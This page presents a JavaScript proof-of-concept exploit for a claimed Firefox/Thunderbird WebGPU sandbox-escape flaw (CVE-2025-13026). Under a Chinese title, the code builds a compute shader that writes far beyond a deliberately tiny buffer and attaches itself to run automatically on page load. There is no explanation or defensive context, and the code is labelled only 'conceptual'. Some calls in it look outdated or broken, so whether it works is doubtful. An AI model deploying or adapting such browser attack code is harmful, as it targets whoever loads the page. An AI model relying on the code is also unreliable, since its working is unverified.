CVE-2025-13026 Firefox/Thunderbird WebGPU沙箱逃逸漏洞

// CVE-2025-13026 PoC - WebGPU Sandbox Escape // This is a conceptual PoC demonstrating the boundary condition error const maliciousGPUCode = ` // Malicious compute shader exploiting boundary condition @group(0) @binding(0) var<storage, read_write> output: array<u32>; @compute @workgroup_size(1) fn main() { // Attempt to write beyond allocated buffer boundary // This exploits the incorrect boundary check in WebGPU implementation for (var i = 0u; i < 1000000u; i++) { output[i] = 0x41414141; // Trigger out-of-bounds write } } `; async function exploitCVE202513026() { if (!navigator.gpu) { console.error('WebGPU not supported'); return; } const adapter = await navigator.gpu.requestAdapter(); if (!adapter) { console.error('Failed to get GPU adapter'); return; } const device = await adapter.requestDevice(); // Create a small buffer to trigger boundary condition const bufferSize = 64; // Intentionally small const outputBuffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Compile malicious shader const shaderModule = device.createShaderModule({ code: maliciousGPUCode }); // Create compute pipeline const computePipeline = device.createComputePipeline({ layout: 'auto', compute: { module: shaderModule, entryPoint: 'main' } }); const bindGroup = device.createBindGroup({ layout: computePipeline.getBindGroupLayout(0), entries: [{ binding: 0, resource: { buffer: outputBuffer } }] }); const commandEncoder = device.createCommandEncoder(); const computePass = commandEncoder.beginComputePass(); computePass.setPipeline(computePipeline); computePass.setBindGroup(0, bindGroup); computePass.dispatchWorkgroups(1); computePass.endPass(); device.queue.submit([commandEncoder.finish()]); console.log('PoC executed - boundary condition exploit attempted'); } // Execute on page load window.addEventListener('load', () => { exploitCVE202513026(); });